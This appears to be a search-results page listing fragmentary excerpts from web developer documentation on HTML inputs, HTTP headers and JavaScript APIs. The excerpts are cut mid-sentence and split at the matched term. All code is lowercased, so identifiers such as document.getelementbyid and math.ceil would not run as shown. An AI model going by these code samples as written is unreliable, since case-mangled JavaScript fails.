...you can also try changing the code to use <code>beforeprint</code> to see the difference.</p> <p><a href="javascript: popuponclick()">open popup window</a></p> </body> </html> view live examples print an external page without opening it if you want to be able to print an external page without opening it, you can utilize a hidden <i
frame> (see: htmli
frameelement), automatically removing it after the user prints its contents.
...itle> <script type="text/javascript"> function closeprint () { document.body.removechild(this.__container__); } function setprint () { this.contentwindow.__container__ = this; this.contentwindow.onbeforeunload = closeprint; this.contentwindow.onafterprint = closeprint; this.contentwindow.focus(); // required for ie this.contentwindow.print(); } function printpage (surl) { var ohidd
frame = document.createelement("i
frame"); ohidd
frame.onload = setprint; ohidd
frame.style.position = "fixed"; ohidd
frame.style.right = "0"; ohidd
frame.style.bottom = "0"; ohidd
frame.style.width = "0"; ohidd
frame.style.height = "0"; ohidd
frame.style.border = "0"; ohidd
frame.src = surl; document.body.appendchild(ohidd
frame); } </script> </head> <body> <p><span onclick="printpage('e...
...xternalpage.html');" style="cursor:pointer;text-decoration:underline;color:#0000ff;">print external page!</span></p> </body> </html> note: older versions of internet explorer cannot print the contents of a hidden <i
frame>.
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
to start with you'll only need the ffpmeg program
from ffmpeg.org, with libvpx and libvorbis support for webm video and audio, at least version 2.5 (probably; this was tested ith 3.2.5).
... ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -
frame-parallel 1 -f webm -dash 1 \ -an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -
frame-parallel 1 -f webm -dash 1 \ -an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -
frame-parallel 1 -f webm -dash 1 \ -an -vf scale=64...
...0:360 -b:v 750k -dash 1 video_640x360_750k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -
frame-parallel 1 -f webm -dash 1 \ -an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -
frame-parallel 1 -f webm -dash 1 \ -an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm or do it in all in one command.
... ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 \ -g 150 -tile-columns 4 -
frame-parallel 1 -f webm -dash 1 \ -an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm \ -an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm \ -an -vf scale=640:360 -b:v 750k -dash 1 video_640x360_750k.webm \ -an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm \ -an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm 2.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
target a keyword or author-defined name of the default browsing context to show the results of navigation
from <a>, <area>, or <form> elements without explicit target attributes.
... _parent: show the result in the parent browsing context of the current one, if the current page is inside a
frame.
... in-page anchors links pointing to a
fragment in the document — e.g.
... <a href="#some-id"> — are resolved with the <base>, triggering an http request to the base url with the
fragment attached.
<input type="date"> - HTML: Hypertext Markup Language
the input ui generally varies
from browser to browser; see browser compatibility for further details.
... you can set a default value for the input with a date inside the value attribute, like so: <input type="date" value="2017-06-01"> the displayed date format will differ
from the actual value — the displayed date is formatted based on the locale of the user's browser, but the parsed value is always formatted yyyy-mm-dd.
...browser: <form> <label for="bday">enter your birthday: <input type="date" name="bday" required pattern="\d{4}-\d{2}-\d{2}"> <span class="validity"></span> </label> <p> <button>submit</button> </p> </form> if you submit it, you'll see that the browser displays an error and highlights the input as invalid if your entry doesn't match the pattern ####-##-## (where # is a digit
from 0 to 9).
... of course, this doesn't stop people
from entering invalid dates, or incorrect formats.
<input type="number"> - HTML: Hypertext Markup Language
the values provided are suggestions, not requirements: users can select
from this predefined list or provide a different value.
...the following screenshot is taken
from firefox for android: a simple number input in its most basic form, a number input can be implemented like this: <label for="ticketnum">number of tickets you would like to buy:</label> <input id="ticketnum" type="number" name="ticketnum" value="0"> a number input is considered valid when empty and when a single number is entered, but is otherwise invalid.
...d to shorten our placeholder since the field will be too narrow for the text we have been using so far: <input type="number" placeholder="x10" step="10" min="0" max="100" id="number"> then we add some css to narrow the width of the element with the id selector #number: #number { width: 3em; } the result looks like this: offering suggested values you can provide a list of default options
from which the user can select by specifying the list attribute, which contains as its value the id of a <datalist>, which in turn contains one <option> element per suggested value.
... (note that we're not converting back and forth between meters and feet/inches here, which a real-life web application would probably do.) note: when the user clicks the button, the required attribute(s) are removed
from the input(s) we are hiding, and empty the value attribute(s).
<input type="password"> - HTML: Hypertext Markup Language
specifics of how the entry process works may vary
from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards.
...its value can, however, still be changed
from javascript code that directly sets the value of the htmlinputelement.value property.
... using password inputs password input boxes generally work just like other textual input boxes; the main difference is the obscuring of the content to prevent people near the user
from reading the password.
... <label for="userpassword">password: </label> <input id="userpassword" type="password" required> <input type="submit" value="submit"> specifying an input mode if your recommended (or required) password syntax rules would benefit
from an alternate text entry interface than the standard keyboard, you can use the inputmode attribute to request a specific one.
<input type="tel"> - HTML: Hypertext Markup Language
the values provided are suggestions, not requirements: users can select
from this predefined list or provide a different value.
...in this example, for instance, the tel edit box is 20 characters wide: <input id="telno" name="telno" type="tel" size="20"> element value length the size is separate
from the length limitation on the entered telephone number.
... providing default options as always, you can provide a default value for an tel input box by setting its value attribute: <input id="telno" name="telno" type="tel" value="333-4444-4444"> offering suggested values taking it a step farther, you can provide a list of default phone number values
from which the user can select.
...while the specific user experience may vary
from one browser to another, typically clicking in the edit box presents a drop-down of the suggested email addresses.
<input type="time"> - HTML: Hypertext Markup Language
the control's user interface will vary
from browser to browser.
...the values provided are suggestions, not requirements: users can select
from this predefined list or provide a different value.
... min="12:00" max="18:00" required pattern="[0-9]{2}:[0-9]{2}"> <span class="validity"></span> </div> <div> <input type="submit" value="submit form"> </div> </form> if you try submitting it, you'll see that non-supporting browsers now display an error message (and highlight the input as invalid) if your entry doesn't match the pattern nn:nn, where n is a number
from 0 to 9.
... of course, this doesn't stop people
from entering invalid times, or incorrectly formatted times that follow the pattern.
<input type="url"> - HTML: Hypertext Markup Language
the values provided are suggestions, not requirements: users can select
from this predefined list or provide a different value.
...in this example, for instance, the url edit box is 30 characters wide: <input id="myurl" name="myurl" type="url" size="30"> element value length the size is separate
from the length limitation on the entered url itself.
... providing default options as always, you can provide a default value for a url input box by setting its value attribute: <input id="myurl" name="myurl" type="url" value="http://www.example.com"> offering suggested values taking it a step farther, you can provide a list of default options
from which the user can select by specifying the list attribute.
...while the specific user experience may vary
from one browser to another, typically clicking in the edit box presents a drop-down of the suggested urls.
Standard metadata names - HTML: Hypertext Markup Language
it is different
from the <title> element, which usually contain the application name, but may also contain information like the document name or a status.
... referrer: controls the http referer header for to requests sent
from the document: values for the content attribute of <meta name="referrer"> no-referrer do not send a http referer header.
... the browser will use this information in tandem with the user's browser or device settings to determine what colors to use for everything
from background and foregrounds to form controls and scrollbars.
... accessibility concerns with viewport scaling disabling zooming capabilities by setting user-scalable to a value of no prevents people experiencing low vision conditions
from being able to read and understand page content.
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
this element has the distinction of being the first element to become one of the "lost tags" by being eliminated
from the official public dtd's of the html versions.
... html "0.a" -
from the beginning through january 10, 1991 this tag had not been invented as yet, so no examples are found
from this period.
... html "0.c" -
from january 23, 1991 though november 23, 1992 this early version of html introduced <nextid> in a non-sgml compliant form that simply used the numeric value alone as an "attribute." html "0.d" -
from november 26, 1992 through may 24, 1993 during this span, next and the oldest surviving dtd's show <nextid> to take only a number for a value of its newly-introduced attribute n.
...des and permits all html level 2 functions and elements and attributes html version 2 strict level 2 this excludes these depreciated elements and also forbids such constructs as nesting a header (<h*> element) within a link (<a> element), or having a forms <input> element which is not within a block level element such as <p> html version 3.2 <nextid> has vanished altogether, never to be heard
from again.
contenteditable - HTML: Hypertext Markup Language
if this attribute is missing or its value is invalid, its value is inherited
from its parent element: so the element is editable if its parent is editable.
... living standard no change
from latest snapshot, html 5.2 html 5.2the definition of 'contenteditable' in that specification.
... recommendation snapshot of html living standard, no change
from html 5.1 html 5.1the definition of 'contenteditable' in that specification.
... recommendation snapshot of html living standard, no change
from html5 html5the definition of 'contenteditable' in that specification.
contextmenu - HTML: Hypertext Markup Language
the contextmenu attribute is obsolete and will be removed
from all browsers the contextmenu global attribute is the id of a <menu> to use as the contextual menu for this element.
... example html <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="twitter" onclick="shareviatwitter()"></menuitem> <menuitem label="facebook" onclick="shareviafacebook()"></menuitem> </menu> </menu> <ol> <li> anywhere in the example you can share the page on twitter and facebook using the share menu
from your context menu.
... </li> <li contextmenu="changefont" id="fontsizing"> on this specific list element, you can change the size of the text by using the "increase/decrease font" actions
from your context menu </li> <menu type="context" id="changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="changeimage" id="changeimage"> on the image below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"><...
...i am learning contextmenu
from mdn via mozilla"); } function shareviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications ...
id - HTML: Hypertext Markup Language
its purpose is to identify the element when linking (using a
fragment identifier), scripting, or styling (with css).
...consider ticket-18659 versus r45tgfe-
freds&$@).
... living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'id' in that specification.
... recommendation snapshot of html living standard, no change
from html5 html5the definition of 'id' in that specification.
itemtype - HTML: Hypertext Markup Language
ct"> <span itemprop="brand">acme<br></span> <span itemprop="name">executive anvil<br></span> <img itemprop="image" src="https://udn.realityripple.com/samples/61/fa8ee62aba.png" width="50" height="50" alt="executive anvil logo" /><br> <span itemprop="description">sleeker than acme's classic anvil, the executive anvil is perfect for the business traveler looking for something to drop
from a height.
...ed on <span itemprop="reviewcount">89 </span> reviews </span><p> <span itemprop="offers" itemscope itemtype="http://schema.org/offer"> regular price: $179.99<br> <meta itemprop="pricecurrency" content="usd" /> <span itemprop="price">sale price: $119.99<br></span> (sale ends <time itemprop="pricevaliduntil" datetime="2020-11-05"> 5 november!</time>)<br> available
from: <span itemprop="seller" itemscope itemtype="http://schema.org/organization"> <span itemprop="name">executive objects<br></span> </span> condition: <link itemprop="itemcondition" href="http://schema.org/usedcondition"/>previously owned, in excellent condition<br> <link itemprop="availability" href="http://schema.org/instock"/>in stock!
...ured data itemscope itemtype product (http://schema.org/product) itemprop name executive anvil itemprop image https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-924605_960_720.png itemprop description sleeker than acme's classic anvil, the executive anvil is perfect for the business traveler looking for something to drop
from a height.
...19.99 itemprop pricevaliduntil 2020-11-05 itemprop itemcondition http://schema.org/usedcondition itemprop availability http://schema.org/instock itemscope itemprop[itemtype] seller [organization] http://schema.org/organization itemprop name executive objects note: a handy tool for extracting microdata structures
from html is google's structured data testing tool.
tabindex - HTML: Hypertext Markup Language
this prevents assistive technology
from being able to navigate to and manipulate those components.
... living standard no change
from latest snapshot, html 5.1.
... recommendation snapshot of html living standard, no change
from html5.
...
from html 4.01 specification, the attribute is now supported on all elements (global attributes).
Microformats - HTML: Hypertext Markup Language
these minimal patterns of html are used for marking up entities that range
from fundamental to domain-specific information, such as people, organizations, events, and locations.
...search engines benefit greatly
from direct access to this structured data because it allows them to understand the information on web pages and provide more relevant results to users.
...prefixes are syntax independent
from vocabularies, which are developed separately.
...h-event is often used with both event listings and individual event pages <div class="h-event"> <h1 class="p-name">microformats meetup</h1> <p>
from <time class="dt-start" datetime="2013-06-30 12:00">30<sup>th</sup> june 2013, 12:00</time> to <time class="dt-end" datetime="2013-06-30 18:00">18:00</time> at <span class="p-location">some bar in sf</span></p> <p class="p-summary">get together and discuss all things microformats-related.</p> </div> properties property description p-name event name (or title) ...
Access-Control-Allow-Origin - HTTP
the access-control-allow-origin response header indicates whether the response can be shared with requesting code
from the given origin.
... header type response header forbidden header name no syntax access-control-allow-origin: * access-control-allow-origin: <origin> access-control-allow-origin: null directives * for requests without credentials, the literal value "*" can be specified, as a wildcard; the value tells browsers to allow requesting code
from any origin to access the resource.
...if the server supports clients
from multiple origins, it must return the origin for the specific client making the request.
...the "null" value for the acao header should therefore be avoided." examples a response that tells the browser to allow code
from any origin to access a resource will include the following: access-control-allow-origin: * a response that tells the browser to allow requesting code
from the origin https://developer.mozilla.org to access a resource will include the following: access-control-allow-origin: https://developer.mozilla.org limiting the possible access-control-allow-origin values to a set of allowed origins requ...
CSP: referrer - HTTP
the http content-security-policy (csp) referrer directive used to specify information in the referer header (with a single r as this was a typo in the original spec) for links away
from a page.
... this api is deprecated and removed
from browsers.
... "unsafe-url" send a full url (stripped
from parameters) when performing a same-origin or cross-origin request.
... this policy will leak origins and paths
from tls-protected resources to insecure origins.
Cross-Origin-Embedder-Policy - HTTP
the http cross-origin-embedder-policy (coep) response header prevents a document
from loading any cross-origin resources that don't explicitly grant the document permission (using corp or cors).
... require-corp a document can only load resources
from the same origin, or resources explicitly marked as loadable
from another origin.
..., you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } avoiding coep blockage with cors if you enable coep using require-corp and have a cross origin resource that needs to be loaded, it needs to support cors and you need to explicitly mark the resource as loadable
from another origin to avoid blockage
from coep.
... for example, you can use the crossorigin attribute for this image
from a third-party site: <img src="https://thirdparty.com/img.png" crossorigin> specifications specification html living standardthe definition of 'cross-origin-embedder-policy header' in that specification.
Referer - HTTP
the referer request header contains the address of the previous web page
from which a link to the currently requested page was followed.
... the referer header allows servers to identify where people are visiting them
from and may use that data for analytics, logging, or optimized caching, for example.
... header type request header forbidden header name yes syntax referer: <url> directives <url> an absolute or partial address of the previous web page
from which a link to the currently requested page was followed.
... url
fragments (i.e.
Strict-Transport-Security - HTTP
an example scenario you log into a
free wifi access point at an airport and start surfing the web, visiting your online banking service to check your balance and pay a couple of bills.
... strict transport security resolves this problem; as long as you've accessed your bank's web site once using https, and the bank's web site uses strict transport security, your browser will know to automatically use only https, which prevents hackers
from performing this sort of man-in-the-middle attack.
... whenever the strict-transport-security header is delivered to the browser, it will update the expiration time for that site, so sites can re
fresh this information and prevent the timeout
from expiring.
... strict-transport-security: max-age=31536000; includesubdomains in the following example, max-age is set to 2 years, raised
from what was a former limit max-age of 1 year.
Warning - HTTP
the first digit indicates whether the warning is required to be deleted
from a stored response after validation.
... 1xx warn-codes describe the
freshness or validation status of the response and will be deleted by a cache after deletion.
... 112 disconnected operation the cache is disconnected
from the rest of the network.
... 113 heuristic expiration sent if a cache heuristically chose a
freshness lifetime greater than 24 hours and the response's age is greater than 24 hours.
Regular expressions - JavaScript
use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it
from another source, such as user input.
...such a match would succeed in the strings "hi, do you know your abc's?" and "the latest airplane designs evolved
from slabcraft." in both cases the match is with the substring "abc".
... escaping if you need to use any of the special characters literally (actually searching for a "*", for instance), you must escape it by putting a backslash in
front of it.
... (see different behaviors for further info about the different behaviors.) if you want to construct the regular expression
from a string, yet another alternative is this script: var myre = new regexp('d(b+)d', 'g'); var myarray = myre.exec('cdbbdbsbz'); with these scripts, the match succeeds and returns the array and updates the properties shown in the following table.
RangeError: argument is not a valid code point - JavaScript
the javascript exception "invalid code point" occurs when nan values, negative integers (-1), non-integers (5.4), or values larger than 0x10ffff (1114111) are used with string.
fromcodepoint().
... string.
fromcodepoint() throws this error when passed nan values, negative integers (-1), non-integers (5.4), or values larger than 0x10ffff (1114111).
... a code point is a value in the unicode codespace; that is, the range of integers
from 0 to 0x10ffff.
... examples invalid cases string.
fromcodepoint('_'); // rangeerror string.
fromcodepoint(infinity); // rangeerror string.
fromcodepoint(-1); // rangeerror string.
fromcodepoint(3.14); // rangeerror string.
fromcodepoint(3e-2); // rangeerror string.
fromcodepoint(nan); // rangeerror valid cases string.
fromcodepoint(42); // "*" string.
fromcodepoint(65, 90); // "az" string.
fromcodepoint(0x404); // "\u0404" string.
fromcodepoint(0x2f804); // "\ud87e\udc04" string.
fromcodepoint(194564); // "\ud87e\udc04" string.
fromcodepoint(0x1d306, 0x61, 0x1d307) // "\ud834\udf06a\ud834\udf07" ...
Arrow function expressions - JavaScript
instead, the literal name // itself of the variable `length` is used as the property we want to retrieve
from the object.
... this.age = 0; setinterval(function growup() { // in non-strict mode, the growup() function defines `this` // as the global object (because it's where growup() is executed.), // which is different
from the `this` // defined by the person() constructor.
...so while searching for this which is not present in the current scope, an arrow function ends up finding the this
from its enclosing scope.
... thus, in the following code, the this within the function that is passed to setinterval has the same value as the this in the lexically enclosing function: function person(){ this.age = 0; setinterval(() => { this.age++; // |this| properly refers to the person object }, 1000); } var p = new person(); relation with strict mode given that this comes
from the surrounding lexical context, strict mode rules with regard to this are ignored.
Rest parameters - JavaScript
from arguments to an array rest parameters have been introduced to reduce the boilerplate code that was induced by the arguments // before rest parameters, "arguments" could be converted to a normal array using: function f(a, b) { let normalarray = array.prototype.slice.call(arguments) // -- or -- let normalarray = [].slice.call(arguments) // -- or -- let normalarray = array.
from(argum...
... // using the same function definition
from example above myfun("one", "two", "three") // a, one // b, two // manymoreargs, [three] below, the third argument isn't provided, but manymoreargs is still an array (albeit an empty one).
... // using the same function definition
from example above myfun("one", "two") // a, one // b, two // manymoreargs, [] argument length since theargs is an array, a count of its elements is given by the length property: function fun1(...theargs) { console.log(theargs.length) } fun1() // 0 fun1(5) // 1 fun1(5, 6, 7) // 3 ordinary parameter and rest parameters in the next example, a rest parameter is used to collect all parameters after the first into an array.
... function sortarguments() { let args = array.
from(arguments) let sortedargs = args.sort() return sortedargs } console.log(sortarguments(5, 3, 7, 1)) // 1, 3, 5, 7 specifications specification ecmascript (ecma-262)the definition of 'function definitions' in that specification.
Array.prototype.filter() - JavaScript
elements which are appended to the array (
from callback) after the call to filter() begins will not be visited by callback.
...44] find all prime numbers in an array the following example returns all prime numbers in the array: const array = [-3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]; function isprime(num) { for (let i = 2; num > i; i++) { if (num % i == 0) { return false; } } return num > 1; } console.log(array.filter(isprime)); // [2, 3, 5, 7, 11, 13] filtering invalid entries
from json the following example uses filter() to create a filtered json of all elements with non-zero, numeric id.
... let
fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'] /** * filter array items based on search criteria (query) */ function filteritems(arr, query) { return arr.filter(function(el) { return el.tolowercase().indexof(query.tolowercase()) !== -1 }) } console.log(filteritems(
fruits, 'ap')) // ['apple', 'grapes'] console.log(filteritems(
fruits, 'an')) // ['banana', 'mango', 'orange'] ...
... es2015 implementation const
fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'] /** * filter array items based on search criteria (query) */ const filteritems = (arr, query) => { return arr.filter(el => el.tolowercase().indexof(query.tolowercase()) !== -1) } console.log(filteritems(
fruits, 'ap')) // ['apple', 'grapes'] console.log(filteritems(
fruits, 'an')) // ['banana', 'mango', 'orange'] affecting initial array (modifying, appending and deleting) the following examples tests the behavior of the filter method when the array is modified.
Array.prototype.shift() - JavaScript
the shift() method removes the first element
from an array and returns that removed element.
... syntax arr.shift() return value the removed element
from the array; undefined if the array is empty.
... examples removing an element
from an array the following code displays the myfish array before and after removing its first element.
...in the following example every iteration will remove the next element
from an array, until it is empty: var names = ["andrew", "edward", "paul", "chris" ,"john"]; while( (i = names.shift()) !== undefined ) { console.log(i); } // andrew, edward, paul, chris, john specifications specification ecmascript (ecma-262)the definition of 'array.prototype.shift' in that specification.
Error.prototype.stack - JavaScript
the non-standard stack property of error objects offer a trace of which functions were called, in what order,
from which line and file, and with what arguments.
... the stack string proceeds
from the most recent calls to earlier ones, leading back to the original global scope call.
... description each step will be separated by a newline, with the first part of the line being the function name (if not a call
from the global scope), then by an at (@) sign, the file location (except when the function is the error constructor as the error is being thrown), a colon, and, if there is a file location, the line number.
... (note that the error object also possesses the filename, linenumber and columnnumber properties for retrieving these
from the error thrown (but only the error, and not its trace).) note that this is the format used by firefox.
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
it returns an array of objects containing the locale-specific tokens
from which it possible to build custom strings while preserving the locale-specific parts.
...
fractionalsecond the string used for the
fractional seconds, for example "0" or "00" or "000".
... examples datetimeformat outputs localized, opaque strings that cannot be manipulated directly: var date = date.utc(2012, 11, 17, 3, 0, 42); var formatter = new intl.datetimeformat('en-us', { weekday: 'long', year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric', second: 'numeric',
fractionalseconddigits: 3, hour12: true, timezone: 'utc' }); formatter.format(date); // "monday, 12/17/2012, 3:00:42.000 am" however, in many user interfaces there is a desire to customize the formatting of this string.
.../' }, { type: 'day', value: '17' }, { type: 'literal', value: '/' }, { type: 'year', value: '2012' }, { type: 'literal', value: ', ' }, { type: 'hour', value: '3' }, { type: 'literal', value: ':' }, { type: 'minute', value: '00' }, { type: 'literal', value: ':' }, { type: 'second', value: '42' }, { type: '
fractionalsecond', value: '000' }, { type: 'literal', value: ' ' }, { type: 'dayperiod', value: 'am' } ] now the information is available separately and it can be formatted and concatenated again in a customized way.
Set.prototype.delete() - JavaScript
the delete() method removes the specified element
from a set object.
... syntax myset.delete(value); parameters value the value to remove
from myset.
... return value returns true if value was successfully removed
from myset; otherwise false.
... let's checkout below how to delete an object
from a set.
Set - JavaScript
set.prototype.clear() removes all elements
from the set object.
...et.add(o) myset.add({a: 1, b: 2}) // o is referencing a different object, so this is okay myset.has(1) // true myset.has(3) // false, since 3 has not been added to the set myset.has(5) // true myset.has(math.sqrt(25)) // true myset.has('some text'.tolowercase()) // true myset.has(o) // true myset.size // 5 myset.delete(5) // removes 5
from the set myset.has(5) // false, 5 has been removed myset.size // 4, since we just removed one value console.log(myset) // logs set(4) [ 1, "some text", {…}, {…} ] in firefox // logs set(4) { 1, "some text", {…}, {…} } in chrome iterating sets // iterate over items in set // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of...
...yset.keys()) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.values()) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} // (key and value are the same here) for (let [key, value] of myset.entries()) console.log(key) // convert set object to an array object, with array.
from let myarr = array.
from(myset) // [1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}] // the following will also work if run in an html document myset.add(document.body) myset.has(document.queryselector('body')) // true // converting between set and array myset2 = new set([1, 2, 3, 4]) myset2.size // 4 [...myset2] // [1, 2, 3, 4] // intersect can be simu...
...console.log([...myset]) // will show you exactly the same array as myarray remove duplicate elements
from the array // use to remove duplicate elements
from the array const numbers = [2,3,4,4,2,3,3,4,4,5,5,6,6,7,5,32,3,4,5] console.log([...new set(numbers)]) // [2, 3, 4, 5, 6, 7, 32] relation with strings let text = 'india' let myset = new set(text) // set ['i', 'n', 'd', 'i', 'a'] myset.size // 5 //case sensitive & duplicate ommision new set("firefox") // set(7) [ "f", "i", "r", "e", "f...
SharedArrayBuffer - JavaScript
description allocating and sharing memory to share memory using sharedarraybuffer objects
from one agent in the cluster to another (an agent is either the web page’s main program or one of its web workers), postmessage and structured cloning is used.
... for top-level documents, two headers will need to be set to cross-origin isolate your site: cross-origin-opener-policy with same-origin as value (protects your origin
from attackers) cross-origin-embedder-policy with require-corp as value (protects victims
from your origin) cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp to check if cross origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer...
... instance methods sharedarraybuffer.prototype.slice(begin, end) returns a new sharedarraybuffer whose contents are a copy of this sharedarraybuffer's bytes
from begin, inclusive, up to end, exclusive.
... if either begin or end is negative, it refers to an index
from the end of the array, as opposed to
from the beginning.
String.prototype.slice() - JavaScript
description slice() extracts the text
from one string and returns a new string.
... let str = 'the morning is upon us.' str.slice(-3) // returns 'us.' str.slice(-3, -1) // returns 'us' str.slice(0, -1) // returns 'the morning is upon us' this example counts backwards
from the end of the string by 11 to find the start index and forwards
from the start of the string by 16 to find the end index.
... console.log(str.slice(-11, 16)) // => "is u" here it counts forwards
from the start by 11 to find the start index and backwards
from the end by 7 to find the end index.
... console.log(str.slice(11, -7)) // => " is u" these arguments count backwards
from the end by 5 to find the start index and backwards
from the end by 1 to find the end index.
String.prototype.split() - JavaScript
description when found, separator is removed
from the string, and the substrings are returned in an array.
... the original string is: "jan,feb,mar,apr,may,jun,jul,aug,sep,oct,nov,dec" the separator is: "," the array has 12 elements: jan / feb / mar / apr / may / jun / jul / aug / sep / oct / nov / dec removing spaces
from a string in the following example, split() looks for zero or more spaces, followed by a semicolon, followed by zero or more spaces—and, when found, removes the spaces and the semicolon
from the string.
... const names = 'harry trump ;
fred barney; helen rigby ; bill abel ;chris hand ' console.log(names) const re = /\s*(?:;|$)\s*/ const namelist = names.split(re) console.log(namelist) this logs two lines; the first line logs the original string, and the second line logs the resulting array.
... harry trump ;
fred barney; helen rigby ; bill abel ;chris hand [ "harry trump", "
fred barney", "helen rigby", "bill abel", "chris hand", "" ] returning a limited number of splits in the following example, split() looks for spaces in a string and returns the first 3 splits that it finds.
String.prototype.trim() - JavaScript
the trim() method removes whitespace
from both ends of a string.
... syntax str.trim() return value a new string representing the str stripped of whitespace
from both ends.
... description the trim() method returns the string stripped of whitespace
from both ends.
... if (!string.prototype.trim) { string.prototype.trim = function () { return this.replace(/^[\s\ufeff\xa0]+|[\s\ufeff\xa0]+$/g, ''); }; } examples using trim() the following example displays the lowercase string 'foo': var orig = ' foo '; console.log(orig.trim()); // 'foo' // another example of .trim() removing whitespace
from just one side.
TypedArray.prototype.indexOf() - JavaScript
syntax typedarray.indexof(searchelement[,
fromindex = 0]) parameters searchelement element to locate in the typed array.
...
fromindex the index to start the search at.
...if the provided index value is a negative number, it is taken as the offset
from the end of the typed array.
... note: if the provided index is negative, the typed array is still searched
from
front to back.
TypedArray.prototype.set() - JavaScript
the set() method stores multiple values in the typed array, reading input values
from a specified array.
... syntax typedarray.set(array[, offset]) typedarray.set(typedarray[, offset]) parameters array the array
from which to copy values.
... all values
from the source array are copied into the target array, unless the length of the source array plus the offset exceeds the length of the target array, in which case an exception is thrown.
... offset optional the offset into the target array at which to begin writing values
from the source array.
TypedArray.prototype.slice() - JavaScript
a negative index can be used, indicating an offset
from the end of the sequence.
... if begin is undefined, slice begins
from index 0.
... a negative index can be used, indicating an offset
from the end of the sequence.
...it returns a shallow copy of elements
from the original typed array.
WebAssembly.Global - JavaScript
a webassembly.global object represents a global variable instance, accessible
from both javascript and importable/exportable across one or more webassembly.module instances.
... global instances all global instances inherit
from the global() constructor's prototype object — this can be modified to affect all global instances.
...got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value
from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value
from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value
from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Memory() constructor - JavaScript
a memory created by javascript or in webassembly code will be accessible and mutable
from both javascript and webassembly.
...when present, the maximum parameter acts as a hint to the engine to reserve memory up
front.
...the first way is to construct it
from javascript.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Module.exports() - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module
from the main thread.
... when the module is received, we create an instance
from it using the webassembly.instantiate() method, invoke an exported function
from inside it, then show how we can return information on the available exports on a module using webassembly.module.exports.
... var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received
from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Module - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module
from the main thread.
... when the module is received, we create an instance
from it using the webassembly.instantiate() method and invoke an exported function
from inside it.
